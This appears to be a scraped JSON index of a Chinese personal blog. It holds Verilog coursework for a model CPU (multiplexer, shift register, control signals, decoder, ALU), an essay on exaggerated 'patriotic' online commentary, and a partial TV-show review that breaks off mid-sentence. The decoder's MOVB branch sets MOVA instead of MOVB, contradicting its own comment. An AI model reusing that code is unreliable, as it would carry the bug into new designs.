2\u0026#39;b10: OUT=C; default: OUT=8\u0026#39;b0; endcase end endmodule //mux 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 module mux (MADD,A,B,C,OUT); input[1:0] MADD; input[7:0] A,B,C; output[7:0] OUT; reg[7:0] OUT; always @(MADD,A,B,C) begin case (MADD) 2\u0026#39;b00: OUT=A; 2\u0026#39;b01: OUT=B; 2\u0026#39;b10: OUT=C; default: OUT=8\u0026#39;b0; endcase end endmodule //mux 移位逻辑 这个应该也不算很难。我将输入的三个FBUS、FLBUS和FRBUS合成一个BUS，这样用case语句一起处理或许优雅一些（？）\n可以参考下面这张图进行设计。其他情况直接全输出高阻，不用管别的，以防多路输出冲突。\nverilog 复制代码 module Shift_Register (F_BUS,FL_BUS,FR_BUS,a,W,Cf); input F_BUS,FL_BUS,FR_BUS; input[7:0] a; output[7:0] W; output Cf; reg[7:0] W; reg Cf; wire[2:0] BUS; assign BUS = {F_BUS,FL_BUS,FR_BUS}; always @(BUS) begin case (BUS) 3\u0026#39;b100: begin W = a; Cf = 0; end 3\u0026#39;b010: begin W = {a[6:0],a[7]}; Cf = a[7]; end 3\u0026#39;b001: begin W = {a[0],a[7:1]}; Cf = a[0]; end default: begin W = 8\u0026#39;bZZZZZZZZ; Cf = 0; end endcase end endmodule //Shift_Register 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 module Shift_Register (F_BUS,FL_BUS,FR_BUS,a,W,Cf); input F_BUS,FL_BUS,FR_BUS; input[7:0] a; output[7:0] W; output Cf; reg[7:0] W; reg Cf; wire[2:0] BUS; assign BUS = {F_BUS,FL_BUS,FR_BUS}; always @(BUS) begin case (BUS) 3\u0026#39;b100: begin W = a; Cf = 0; end 3\u0026#39;b010: begin W = {a[6:0],a[7]}; Cf = a[7]; end 3\u0026#39;b001: begin W = {a[0],a[7:1]}; Cf = a[0]; end default: begin W = 8\u0026#39;bZZZZZZZZ; Cf = 0; end endcase end endmodule //Shift_Register 控制信号产生逻辑 正常来说，如果希望用直接assign这种比较优雅的写法，你需要逐个摸清控制命令的运行模式，即每种IR对应的各个控制信号的值，列个表，然后找每个控制信号在什么命令输入的时候值为1。\n要不然，就用一堆条件语句，只是省掉了反查的过程，还是得分析，也不优雅。\n但是，老师把这个表已经列出来了，省下了大把的时间：\n我们只需查找每一列输出信号对应的输入信号就行了。规定的信号针脚和表中的控制信号可能有所不同，可以参阅下面的源代码，我在注释中写了一些对应关系。\n但是请注意，这里并没有包含所有的指令，比如INPUT。\n空白的区域不清楚怎么搞，但我是在这部分输出了0。JZ/JC(T) 指的是JZ\u0026amp;\u0026amp;Z或JC\u0026amp;\u0026amp;C，这两种输出是等效的，虽然判断条件看起来不同；相对的，JZ/JC(F) 就是JZ\u0026amp;\u0026amp;(~Z) 或JC\u0026amp;\u0026amp;(~C)。\n源代码如下，部分难以使用几个输入或表示的，我才会使用always语句。\n后面整合的时候会知道，MOVB和MOVC的时候，要指定内存地址，需要将C寄存器中的数值输出，所以REG_RA（RAA）的always块中，不能因为MOVB中有一个固定的11就不作为条件；相反，为了将C忠实地输出，需要将三个MOV全都加进去；REG_WA（RWBA）也一样。\n此外，上表没有包含NOP的指令输出，经测试只需要REG_WE=1即禁止读写即可，防止总线上数据污染寄存器。\nverilog 复制代码 module control_signal (MOVA,MOVB,MOVC,ADD,SUB,AND1,NOT1,RSR,RSL,JMP,JZ,Z,JC,C,IN1,OUT1,NOP,HALT,IR,SM,REG_RA,REG_WA,MADD,ALU_S,PC_LD,PC_INC,REG_WE,RAM_XL,RAM_DL,ALU_M,SHI_FBUS,SHI_FLBUS,SHI_FRBUS,IR_LD,CF_EN,ZF_EN,SM_EN,IN_EN,OUT_EN); input MOVA,MOVB,MOVC,ADD,SUB,AND1,NOT1,RSR,RSL,JMP,JZ,Z,JC,C,IN1,OUT1,NOP,HALT,SM; // MOVA,MOVB,MOVC,ADD,SUB,AND, NOT, RSR,RSL,JMP,JZ-T,JC-T,IN, OUT, NOP,HALT,SM input[7:0] IR; output[1:0] REG_RA,REG_WA,MADD; // RAA, RWBA, MADD output[3:0] ALU_S; // S output PC_LD,PC_INC,REG_WE,RAM_XL,RAM_DL,ALU_M,SHI_FBUS,SHI_FLBUS,SHI_FRBUS,IR_LD,CF_EN,ZF_EN,SM_EN,IN_EN,OUT_EN; // LD PC,IN PC, /WE, XL, DL, M, F-BUS, FL-BUS, FR-BUS, LD IR, SM, reg[1:0] MADD,REG_RA,REG_WA; reg[3:0] ALU_S; assign RAM_DL = (~SM)||MOVC||JMP||(JZ\u0026amp;\u0026amp;Z)||(JC\u0026amp;\u0026amp;C); // 取指, MOVC,JMP,JZT,JCT assign RAM_XL = MOVB\u0026amp;\u0026amp;(~SM); //MOVB assign PC_LD = JMP||(JZ\u0026amp;\u0026amp;Z)||(JC\u0026amp;\u0026amp;C); //JMP,JZT,JCT assign PC_INC = (~SM)||(JZ\u0026amp;\u0026amp;~Z)||(JC\u0026amp;\u0026amp;~C); // 取指, JZF,JCF assign IR_LD = (~SM); // 取指 assign SHI_FBUS = ADD||SUB||AND1||NOT1||OUT1||MOVA||MOVB; //ADD,SUB,AND,NOT,OUT,MOVA,MOVB assign SHI_FLBUS = RSL; //RSL assign SHI_FRBUS = RSR; //RSR assign ALU_M = ADD||SUB||AND1||NOT1||RSR||RSL||OUT1; assign REG_WE = (~SM)||OUT1||MOVB||JMP||JZ||JC||HALT||NOP; assign CF_EN = ADD||SUB||RSR||RSL; assign ZF_EN = ADD||SUB; assign SM_EN = ~HALT; assign IN_EN = IN1; assign OUT_EN = OUT1; always @(SM,MOVB,MOVC) begin //MADD if(~SM) MADD=2\u0026#39;b0; else if(MOVB) MADD=2\u0026#39;b10; else if(MOVC) MADD=2\u0026#39;b01; else MADD=2\u0026#39;b0; // 不锁存只能这样了吧？ end always @(ADD,SUB,AND1,NOT1,RSR,RSL,OUT1,MOVA,MOVB) begin //ALU_S if(ADD||SUB||AND1||NOT1||RSR||RSL||OUT1||MOVA||MOVB) ALU_S[3:0]=IR[7-:4]; else ALU_S=4\u0026#39;b0; end always @(ADD,SUB,AND1,MOVA,MOVB,MOVC) begin //RAA if(ADD||SUB||AND1||MOVA||MOVB||MOVC) REG_RA=IR[1-:2]; else REG_RA=2\u0026#39;b0; end always @(ADD,SUB,AND1,NOT1,RSR,RSL,IN1,OUT1,MOVA,MOVB,MOVC) begin//RWBA if(ADD||SUB||AND1||NOT1||RSR||RSL||IN1||OUT1||MOVA||MOVB||MOVC) REG_WA=IR[3-:2]; else REG_WA=2\u0026#39;b0; end endmodule 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 module control_signal (MOVA,MOVB,MOVC,ADD,SUB,AND1,NOT1,RSR,RSL,JMP,JZ,Z,JC,C,IN1,OUT1,NOP,HALT,IR,SM,REG_RA,REG_WA,MADD,ALU_S,PC_LD,PC_INC,REG_WE,RAM_XL,RAM_DL,ALU_M,SHI_FBUS,SHI_FLBUS,SHI_FRBUS,IR_LD,CF_EN,ZF_EN,SM_EN,IN_EN,OUT_EN); input MOVA,MOVB,MOVC,ADD,SUB,AND1,NOT1,RSR,RSL,JMP,JZ,Z,JC,C,IN1,OUT1,NOP,HALT,SM; // MOVA,MOVB,MOVC,ADD,SUB,AND, NOT, RSR,RSL,JMP,JZ-T,JC-T,IN, OUT, NOP,HALT,SM input[7:0] IR; output[1:0] REG_RA,REG_WA,MADD; // RAA, RWBA, MADD output[3:0] ALU_S; // S output PC_LD,PC_INC,REG_WE,RAM_XL,RAM_DL,ALU_M,SHI_FBUS,SHI_FLBUS,SHI_FRBUS,IR_LD,CF_EN,ZF_EN,SM_EN,IN_EN,OUT_EN; // LD PC,IN PC, /WE, XL, DL, M, F-BUS, FL-BUS, FR-BUS, LD IR, SM, reg[1:0] MADD,REG_RA,REG_WA; reg[3:0] ALU_S; assign RAM_DL = (~SM)||MOVC||JMP||(JZ\u0026amp;\u0026amp;Z)||(JC\u0026amp;\u0026amp;C); // 取指, MOVC,JMP,JZT,JCT assign RAM_XL = MOVB\u0026amp;\u0026amp;(~SM); //MOVB assign PC_LD = JMP||(JZ\u0026amp;\u0026amp;Z)||(JC\u0026amp;\u0026amp;C); //JMP,JZT,JCT assign PC_INC = (~SM)||(JZ\u0026amp;\u0026amp;~Z)||(JC\u0026amp;\u0026amp;~C); // 取指, JZF,JCF assign IR_LD = (~SM); // 取指 assign SHI_FBUS = ADD||SUB||AND1||NOT1||OUT1||MOVA||MOVB; //ADD,SUB,AND,NOT,OUT,MOVA,MOVB assign SHI_FLBUS = RSL; //RSL assign SHI_FRBUS = RSR; //RSR assign ALU_M = ADD||SUB||AND1||NOT1||RSR||RSL||OUT1; assign REG_WE = (~SM)||OUT1||MOVB||JMP||JZ||JC||HALT||NOP; assign CF_EN = ADD||SUB||RSR||RSL; assign ZF_EN = ADD||SUB; assign SM_EN = ~HALT; assign IN_EN = IN1; assign OUT_EN = OUT1; always @(SM,MOVB,MOVC) begin //MADD if(~SM) MADD=2\u0026#39;b0; else if(MOVB) MADD=2\u0026#39;b10; else if(MOVC) MADD=2\u0026#39;b01; else MADD=2\u0026#39;b0; // 不锁存只能这样了吧？ end always @(ADD,SUB,AND1,NOT1,RSR,RSL,OUT1,MOVA,MOVB) begin //ALU_S if(ADD||SUB||AND1||NOT1||RSR||RSL||OUT1||MOVA||MOVB) ALU_S[3:0]=IR[7-:4]; else ALU_S=4\u0026#39;b0; end always @(ADD,SUB,AND1,MOVA,MOVB,MOVC) begin //RAA if(ADD||SUB||AND1||MOVA||MOVB||MOVC) REG_RA=IR[1-:2]; else REG_RA=2\u0026#39;b0; end always @(ADD,SUB,AND1,NOT1,RSR,RSL,IN1,OUT1,MOVA,MOVB,MOVC) begin//RWBA if(ADD||SUB||AND1||NOT1||RSR||RSL||IN1||OUT1||MOVA||MOVB||MOVC) REG_WA=IR[3-:2]; else REG_WA=2\u0026#39;b0; end endmodule 照例，下面提供三个部件仿真时使用的波形文件，使用Quartus Prime 21.1生成：下载链接。\n","date":"December 6, 2021","matchCount":0,"permalink":"/post/hnu-model-computer-2/","preview":"","title":"数电课程模型机设计：多路开关、移位逻辑和控制信号产生逻辑（Verilog 实现）"},{"content":"以下的文字均是我根据近期见闻和记忆有感而发，如有不同意见可以友好讨论，如有谬误请指出，我在此先行致谢。切勿断章取义及人身攻击。同时，请确定你把科学和事实放在首位，否则请直接退出不送。\n似乎就是从这几年开始，中文互联网上出现了接连不断的爱国主义风潮，也涌现了一批又一批 “爱国博主”。\n总体来说，这当然是件好事，这代表着我国民众对国家的各方面越来越有信心，我们的凝聚力空前强大；与之相对的，“公知” 的市场也就越来越小，在大家看清一些谎言背后的真相之后，就获得了一定的免疫力。\n但是我想侧重地说的是，爱国不单单是每个华夏儿女体内的一股热血，而且恐怕已经变成了一些人赚流量、博眼球的工具。\n在一二十年前，我们国家还需要韬光养晦，全力保经济发展；今天中国已然成为大国，在很多地方可以秀一秀肌肉了。但是，一些人并不能够实事求是地讲出来，却要按自己想象夸大；还有一些人，只讲听众喜欢听的，而罔顾实际情况。他们一旦发现稍有不利于我国正面形象的描述，就要批倒批臭，正是 “你跟他讲科学，他跟你讲立场”，况且这立场又不一定对。当他们一旦涉足你稍有了解的领域之后，你就能很容易发现其中破绽。\n比如近日（2021年末）发生的司马南批联想事件，up主 “司马南” 用煞有介事的分析，罗织了联想的数条罪状，颇有 “联想罪大恶极，柳传志千古罪人” 的架势；而实际上他的分析却是漏洞百出，比如负债率高的大公司有无数多，联想虽位居其中，但只要有健康的现金流，也无妨。\n值得注意的是，他还与一个金融学者做了一期访谈，学者在里面提到 “7nm和17nm对于手机来说，人几乎感觉不到”“使用起来根本感觉不到，运算速度什么的都没区别” 等暴论（原视频链接），40秒的对话中出现了至少三个较大的槽点，令人忍俊不禁。\n类似的还有由数码博主 “菊厂营业Fans” 挑起、由知名讽刺画家 “乌合麒麟” 转发扩散的 “14nm+14nm=7nm” 事件。在被其他人指出错误后，乌合麒麟的道歉却只是一波阴阳怪气。后续他虽把 “道歉” 收回，但通过查阅百家号等渠道，强行科普了一下新技术，用3D封装之类的技术来掩盖之前的反智言论，网络内外顿时充满了快活的空气。“菊厂影业Fans”后续也表示，“自己就是喜欢沸腾，看到能沸腾的事物就喜欢转发”，属实把 “你跟他谈科学，他跟你谈立场” 发挥到了极致。\n或许这个并没有上面几条那么贴合本文主题，更应该算是虚空打靶，但多多少少也有些相似。沈逸老师也曾怀疑Cloudflare暗中支持港独，而理由竟然是 “Cloudflare为港独网站提供CDN，查出来都是他们的IP”“都架设CDN了怎么会不知道内容”。如果说网络空间治理方向的顶级学者竟对计算机网络基本原理如此缺乏了解，那么实在迷惑。如果你对Cloudflare在中国的运营方式感兴趣，可以看一下他们的博客文章：How We Extended CloudFlare\u0026rsquo;s Performance and Security Into Mainland China。\n我之前对司马南没有什么了解，所以不做评价，但我一直对沈逸老师渊博的学识和幽默的风格十分敬重，乌合麒麟对外国的辛辣讽刺我也赞叹过不知多少次，两者都是我在他们专精领域比较喜欢的博主。人人都可能犯错误，但执迷不悟的人最联想做得远说不上好，从被科创板拒绝就可见一斑，而芯片制程问题科学自有公论。我无意完全否定某个人或某个集体。\n但是，我主要想说的是，仅靠这样的宣传蒙蔽受众的双眼，我们就能超过美国了吗？我国赶超美国的过程必然是道阻且长的，取得现在的进展某种程度上还要” 多亏 “美式价值观对疫情政策的影响。这样的宣传或许能蒙蔽一部分人的双眼，但实事求是难道不是最基本的标准吗？虽然我觉得这种事不至于演变成当年大跃进的景象——因为我们确实有很强的实力，但也是一个不好的苗头。\n空谈无益，理性爱国、客观评价、踏实努力，是实现复兴、过上幸福生活的唯一途径。\n什么，你还觉得我是不安好心的境外势力？对对对，我就是境外势力，这网站服务器都在美国，快去举报我吧，记得举报之后赶快睡觉，在梦里领你的50万。\n","date":"December 1, 2021","matchCount":0,"permalink":"/post/%E7%88%B1%E5%9B%BD%E7%88%B1%E5%9B%BD/","preview":"","title":"爱国？“爱国”！"},{"content":"译码器 译码器的指令系统表如下图所示。\n译码器做起来其实不难，当编码符合要求的时候，把相应的汇编符号输出设为1就行了。\nR1、R2代表操作寄存器的地址，可以为A、B或C寄存器中的任何一个，地址分别为00、01和10。\n所谓” 符合要求 “，可以举个例子。比如NOT的编码是 0101 R1XX，R1代表寄存器1的地址，XX是通配符，所以可以做匹配 IR[7-:4]==4'b0101，而且应为寄存器地址的地方不能是11。（话说也没多少人会在这个位置传进11吧…… 除了喜欢点一杯炒饭的测试工程师）\n特别注意的是，有三种MOV指令。这里定义第一种MOV指令为MOVA，第二种为MOVB，第三种为MOVC。我先使用1100匹配进MOV，然后再区分MOVA、MOVB和MOVC。\nverilog 复制代码 module decoder (EN,IR,MOVA,MOVB,MOVC,ADD,SUB,AND,NOT,RSR,RSL,JMP,JZ,JC,IN,OUT,NOP,HALT); input EN; input[7:0] IR; output MOVA,MOVB,MOVC,ADD,SUB,AND,NOT,RSR,RSL,JMP,JZ,JC,IN,OUT,NOP,HALT; reg MOVA,MOVB,MOVC,ADD,SUB,AND,NOT,RSR,RSL,JMP,JZ,JC,IN,OUT,NOP,HALT; always @(IR,EN) begin if(EN==1\u0026#39;b1) begin if (IR[7-:4]==4\u0026#39;b1100) begin //MOV if(IR[3-:2]==2\u0026#39;b11) begin //MOVB 11R2 MOVA=1\u0026#39;b1; MOVB=1\u0026#39;b0; MOVC=1\u0026#39;b0; end else if (IR[1-:2]==2\u0026#39;b11) begin //MOVC R1111 MOVA=1\u0026#39;b0; MOVB=1\u0026#39;b0; MOVC=1\u0026#39;b1; end else begin //MOVA R1R2 MOVA=1\u0026#39;b1; MOVB=1\u0026#39;b0; MOVC=1\u0026#39;b0; end end else begin MOVA=1\u0026#39;b0; MOVB=1\u0026#39;b0; MOVC=1\u0026#39;b0; end if (IR[7-:4]==4\u0026#39;b1001 \u0026amp;\u0026amp; IR[3-:2]!=2\u0026#39;b11 \u0026amp;\u0026amp; IR[1-:2]!=2\u0026#39;b11) begin //ADD ADD=1\u0026#39;b1; end else ADD=1\u0026#39;b0; if (IR[7-:4]==4\u0026#39;b0110 \u0026amp;\u0026amp; IR[3-:2]!=2\u0026#39;b11 \u0026amp;\u0026amp; IR[1-:2]!=2\u0026#39;b11) begin //SUB SUB=1\u0026#39;b1; end else SUB=1\u0026#39;b0; if (IR[7-:4]==4\u0026#39;b1011 \u0026amp;\u0026amp; IR[3-:2]!=2\u0026#39;b11 \u0026amp;\u0026amp; IR[1-:2]!=2\u0026#39;b11) begin //AND AND=1\u0026#39;b1; end else AND=1\u0026#39;b0; if (IR[7-:4]==4\u0026#39;b0101 \u0026amp;\u0026amp; IR[3-:2]!=2\u0026#39;b11) begin //NOT NOT=1\u0026#39;b1; end else NOT=1\u0026#39;b0; if (IR[7-:4]==4\u0026#39;b1010 \u0026amp;\u0026amp; IR[1-:2]==2\u0026#39;b00 \u0026amp;\u0026amp; IR[3-:2]!=2\u0026#39;b11) begin //RSR RSR=1\u0026#39;b1; end else RSR=1\u0026#39;b0; if (IR[7-:4]==4\u0026#39;b1010 \u0026amp;\u0026amp; IR[1-:2]==2\u0026#39;b11 \u0026amp;\u0026amp; IR[3-:2]!=2\u0026#39;b11) begin //RSL RSL=1\u0026#39;b1; end else RSL=1\u0026#39;b0; if (IR[7:0]==8\u0026#39;b0011_0000) begin //JMP JMP=1\u0026#39;b1; end else JMP=1\u0026#39;b0; if (IR[7:0]==8\u0026#39;b0011_0001) begin //JZ JZ=1\u0026#39;b1; end else JZ=1\u0026#39;b0; if (IR[7:0]==8\u0026#39;b0011_0010) begin //JC JC=1\u0026#39;b1; end else JC=1\u0026#39;b0; if (IR[7-:4]==4\u0026#39;b0010 \u0026amp;\u0026amp; IR[3-:2]!=2\u0026#39;b11) begin //IN IN=1\u0026#39;b1; end else IN=1\u0026#39;b0; if (IR[7-:4]==4\u0026#39;b0100 \u0026amp;\u0026amp; IR[3-:2]!=2\u0026#39;b11) begin //OUT OUT=1\u0026#39;b1; end else OUT=1\u0026#39;b0; if (IR[7:0]==8\u0026#39;b0111_0000) begin //NOP NOP=1\u0026#39;b1; end else NOP=1\u0026#39;b0; if (IR[7:0]==8\u0026#39;b1000_0000) begin //HALT HALT=1\u0026#39;b1; end else HALT=1\u0026#39;b0; end else begin MOVA=1\u0026#39;b0; MOVB=1\u0026#39;b0; MOVC=1\u0026#39;b0; ADD=1\u0026#39;b0; SUB=1\u0026#39;b0; AND=1\u0026#39;b0; NOT=1\u0026#39;b0; RSR=1\u0026#39;b0; RSL=1\u0026#39;b0; JMP=1\u0026#39;b0; JZ=1\u0026#39;b0; JC=1\u0026#39;b0; IN=1\u0026#39;b0; OUT=1\u0026#39;b0; NOP=1\u0026#39;b0; HALT=1\u0026#39;b0; end end endmodule //decoder 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 module decoder (EN,IR,MOVA,MOVB,MOVC,ADD,SUB,AND,NOT,RSR,RSL,JMP,JZ,JC,IN,OUT,NOP,HALT); input EN; input[7:0] IR; output MOVA,MOVB,MOVC,ADD,SUB,AND,NOT,RSR,RSL,JMP,JZ,JC,IN,OUT,NOP,HALT; reg MOVA,MOVB,MOVC,ADD,SUB,AND,NOT,RSR,RSL,JMP,JZ,JC,IN,OUT,NOP,HALT; always @(IR,EN) begin if(EN==1\u0026#39;b1) begin if (IR[7-:4]==4\u0026#39;b1100) begin //MOV if(IR[3-:2]==2\u0026#39;b11) begin //MOVB 11R2 MOVA=1\u0026#39;b1; MOVB=1\u0026#39;b0; MOVC=1\u0026#39;b0; end else if (IR[1-:2]==2\u0026#39;b11) begin //MOVC R1111 MOVA=1\u0026#39;b0; MOVB=1\u0026#39;b0; MOVC=1\u0026#39;b1; end else begin //MOVA R1R2 MOVA=1\u0026#39;b1; MOVB=1\u0026#39;b0; MOVC=1\u0026#39;b0; end end else begin MOVA=1\u0026#39;b0; MOVB=1\u0026#39;b0; MOVC=1\u0026#39;b0; end if (IR[7-:4]==4\u0026#39;b1001 \u0026amp;\u0026amp; IR[3-:2]!=2\u0026#39;b11 \u0026amp;\u0026amp; IR[1-:2]!=2\u0026#39;b11) begin //ADD ADD=1\u0026#39;b1; end else ADD=1\u0026#39;b0; if (IR[7-:4]==4\u0026#39;b0110 \u0026amp;\u0026amp; IR[3-:2]!=2\u0026#39;b11 \u0026amp;\u0026amp; IR[1-:2]!=2\u0026#39;b11) begin //SUB SUB=1\u0026#39;b1; end else SUB=1\u0026#39;b0; if (IR[7-:4]==4\u0026#39;b1011 \u0026amp;\u0026amp; IR[3-:2]!=2\u0026#39;b11 \u0026amp;\u0026amp; IR[1-:2]!=2\u0026#39;b11) begin //AND AND=1\u0026#39;b1; end else AND=1\u0026#39;b0; if (IR[7-:4]==4\u0026#39;b0101 \u0026amp;\u0026amp; IR[3-:2]!=2\u0026#39;b11) begin //NOT NOT=1\u0026#39;b1; end else NOT=1\u0026#39;b0; if (IR[7-:4]==4\u0026#39;b1010 \u0026amp;\u0026amp; IR[1-:2]==2\u0026#39;b00 \u0026amp;\u0026amp; IR[3-:2]!=2\u0026#39;b11) begin //RSR RSR=1\u0026#39;b1; end else RSR=1\u0026#39;b0; if (IR[7-:4]==4\u0026#39;b1010 \u0026amp;\u0026amp; IR[1-:2]==2\u0026#39;b11 \u0026amp;\u0026amp; IR[3-:2]!=2\u0026#39;b11) begin //RSL RSL=1\u0026#39;b1; end else RSL=1\u0026#39;b0; if (IR[7:0]==8\u0026#39;b0011_0000) begin //JMP JMP=1\u0026#39;b1; end else JMP=1\u0026#39;b0; if (IR[7:0]==8\u0026#39;b0011_0001) begin //JZ JZ=1\u0026#39;b1; end else JZ=1\u0026#39;b0; if (IR[7:0]==8\u0026#39;b0011_0010) begin //JC JC=1\u0026#39;b1; end else JC=1\u0026#39;b0; if (IR[7-:4]==4\u0026#39;b0010 \u0026amp;\u0026amp; IR[3-:2]!=2\u0026#39;b11) begin //IN IN=1\u0026#39;b1; end else IN=1\u0026#39;b0; if (IR[7-:4]==4\u0026#39;b0100 \u0026amp;\u0026amp; IR[3-:2]!=2\u0026#39;b11) begin //OUT OUT=1\u0026#39;b1; end else OUT=1\u0026#39;b0; if (IR[7:0]==8\u0026#39;b0111_0000) begin //NOP NOP=1\u0026#39;b1; end else NOP=1\u0026#39;b0; if (IR[7:0]==8\u0026#39;b1000_0000) begin //HALT HALT=1\u0026#39;b1; end else HALT=1\u0026#39;b0; end else begin MOVA=1\u0026#39;b0; MOVB=1\u0026#39;b0; MOVC=1\u0026#39;b0; ADD=1\u0026#39;b0; SUB=1\u0026#39;b0; AND=1\u0026#39;b0; NOT=1\u0026#39;b0; RSR=1\u0026#39;b0; RSL=1\u0026#39;b0; JMP=1\u0026#39;b0; JZ=1\u0026#39;b0; JC=1\u0026#39;b0; IN=1\u0026#39;b0; OUT=1\u0026#39;b0; NOP=1\u0026#39;b0; HALT=1\u0026#39;b0; end end endmodule //decoder ALU 我之前想复杂了，完全不需要设计RCA，因为Cf指的 是最高位的进位或借位（即溢出），而不是逐位取进位或借位，所以可以直接使用拼接解决。 怪不得从网上找了一堆资料没发现如何找借位\n这样就没有之前那么难了，把ppt里的东西直接翻译出来就行了， 源代码如下。\nverilog 复制代码 module ALU2 (M,S,A,B,t,Cf,Zf); input M;// 算术运算指示 input [3:0] S;// 运算类型 input [7:0] A,B;// 参与运算的数字 output [7:0] t;// 输出结果 output Cf,Zf;// 是否进位，是否为 0 reg [7:0] t; reg Cf,Zf; reg [7:0] temp1; always @(M,S,A,B) begin if (M==1\u0026#39;b0) begin // 不进行算术运算 if(S==4\u0026#39;b1100) t[7:0]=A[7:0]; else t=8\u0026#39;b0; Cf=1\u0026#39;b0; Zf=1\u0026#39;b0; end else begin// 进行算术运算 case (S) 4\u0026#39;b1001: begin //ADD {Cf,t}=A\u0026#43;B; if (t==8\u0026#39;b0) begin Zf=1\u0026#39;b1; end else Zf=1\u0026#39;b0; end 4\u0026#39;b0110: begin //SUB {Cf,t}=B-A; if(t==8\u0026#39;b0) Zf=1\u0026#39;b1; else Zf=1\u0026#39;b0; end 4\u0026#39;b1011: begin //AND // t=A\u0026amp;\u0026amp;B; t[0]=A[0]\u0026amp;\u0026amp;B[0]; t[1]=A[1]\u0026amp;\u0026amp;B[1]; t[2]=A[2]\u0026amp;\u0026amp;B[2]; t[3]=A[3]\u0026amp;\u0026amp;B[3]; t[4]=A[4]\u0026amp;\u0026amp;B[4]; t[5]=A[5]\u0026amp;\u0026amp;B[5]; t[6]=A[6]\u0026amp;\u0026amp;B[6]; t[7]=A[7]\u0026amp;\u0026amp;B[7]; Cf=0; Zf=0; end 4\u0026#39;b0101: begin t=~B; //NOT Cf=0; Zf=0; end 4\u0026#39;b1010: begin t=B; Cf=0; Zf=0; end 4\u0026#39;b0100: begin t=B; Cf=0; Zf=0; end 4\u0026#39;b1100: begin t=A; Cf=0; Zf=0; end default: begin Cf=0; Zf=0; t=8\u0026#39;b0; end endcase end end endmodule //ALU2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 module ALU2 (M,S,A,B,t,Cf,Zf); input M;// 算术运算指示 input [3:0] S;// 运算类型 input [7:0] A,B;// 参与运算的数字 output [7:0] t;// 输出结果 output Cf,Zf;// 是否进位，是否为 0 reg [7:0] t; reg Cf,Zf; reg [7:0] temp1; always @(M,S,A,B) begin if (M==1\u0026#39;b0) begin // 不进行算术运算 if(S==4\u0026#39;b1100) t[7:0]=A[7:0]; else t=8\u0026#39;b0; Cf=1\u0026#39;b0; Zf=1\u0026#39;b0; end else begin// 进行算术运算 case (S) 4\u0026#39;b1001: begin //ADD {Cf,t}=A+B; if (t==8\u0026#39;b0) begin Zf=1\u0026#39;b1; end else Zf=1\u0026#39;b0; end 4\u0026#39;b0110: begin //SUB {Cf,t}=B-A; if(t==8\u0026#39;b0) Zf=1\u0026#39;b1; else Zf=1\u0026#39;b0; end 4\u0026#39;b1011: begin //AND // t=A\u0026amp;\u0026amp;B; t[0]=A[0]\u0026amp;\u0026amp;B[0]; t[1]=A[1]\u0026amp;\u0026amp;B[1]; t[2]=A[2]\u0026amp;\u0026amp;B[2]; t[3]=A[3]\u0026amp;\u0026amp;B[3]; t[4]=A[4]\u0026amp;\u0026amp;B[4]; t[5]=A[5]\u0026amp;\u0026amp;B[5]; t[6]=A[6]\u0026amp;\u0026amp;B[6]; t[7]=A[7]\u0026amp;\u0026amp;B[7]; Cf=0; Zf=0; end 4\u0026#39;b0101: begin t=~B; //NOT Cf=0; Zf=0; end 4\u0026#39;b1010: begin t=B; Cf=0; Zf=0; end 4\u0026#39;b0100: begin t=B; Cf=0; Zf=0; end 4\u0026#39;b1100: begin t=A; Cf=0; Zf=0; end default: begin Cf=0; Zf=0; t=8\u0026#39;b0; end endcase end end endmodule //ALU2 本文代码仿真所使用的波形文件可从 此处 获取，使用Quartus II 13.0 SP1生成。2021/12/06已更新本人验收用波形，数据较多。\n","date":"November 30, 2021","matchCount":0,"permalink":"/post/hnu-model-computer-1/","preview":"","title":"数电课程模型机 CPU 设计：译码器和 ALU（Verilog 实现）"},{"content":"它是我两年内追的唯一一部剧，曾经我看着它戴上桂冠，而我在看第二季的时候，收获的只是看着它跌落神坛…… 至少是我心中的神坛。\n文中早间新闻和TMS，均指在Apple TV + 上映的电视剧The Morning Show，或上述电视剧中的UBA电视台同名节目，含义与此时的语境有关。\nTMS第一季可以说是我心中的一部神剧，锐利的观点和独特的视角曾给了我非常深的印象，于是自从第一季结束，我便对第二季有了很高的期望，特别是在前两天Tim Cook在发布会上为它站台的时候。但是事与愿违，它让我有些失望。所以我想开篇文章，随便聊聊我对这一季的想法。\nTMS第一季虽然着眼于电视台的幕后故事，但其选题并不局限于日常琐事，更善于打破常规。Mitch这条线将矛头对准了MeToo的话题。在一般人都会想到批判这位” 性掠食者 “的时候，TMS则让Mitch道出了他自己的心声。Alex果断宣布招下Bradley，和Ep10揭露电视台现状的桥段也是十分有代表性的。\n那第二季呢？\n剧情中有一条新冠疫情的线，推进得有些太慢了，有种便秘的感觉。在Ep10之前，能提到新冠的地方基本只有电视台画面下方的滚动文字，再加上Daniel在武汉转了一圈的事情。哦，说到这个，这个中国特色的卫龙不知道算不算节目组的彩蛋……\n值得一提的是，有一段节目组抢着上高铁逃离武汉，乘务员放水让他们上车的描写，让我感觉很不真实，尤其是那时我恰好在高铁上。\n好嘛，最后一集终于展开了对新冠疫情的大篇幅描写，Alex的新节目刚刚开播，然后就结束了？快要看完Ep10，本来还等着下个周的周五下午能看到Ep11，觉得这一季可能会在未来一两集之内结束。但最后Alex一个” 回头见 “让我突然意识到，可能就这么结束了。铺垫拉得又臭又长，最后一集作为高潮看得又不够爽，这和第一季的结尾放在一起，简直一个天上一个地下。\n不过有一说一，我觉得Alex的节目效果非常非常好——或者说，Chip的稿子非常好。Alex借着这个节目，狠狠的对一些too 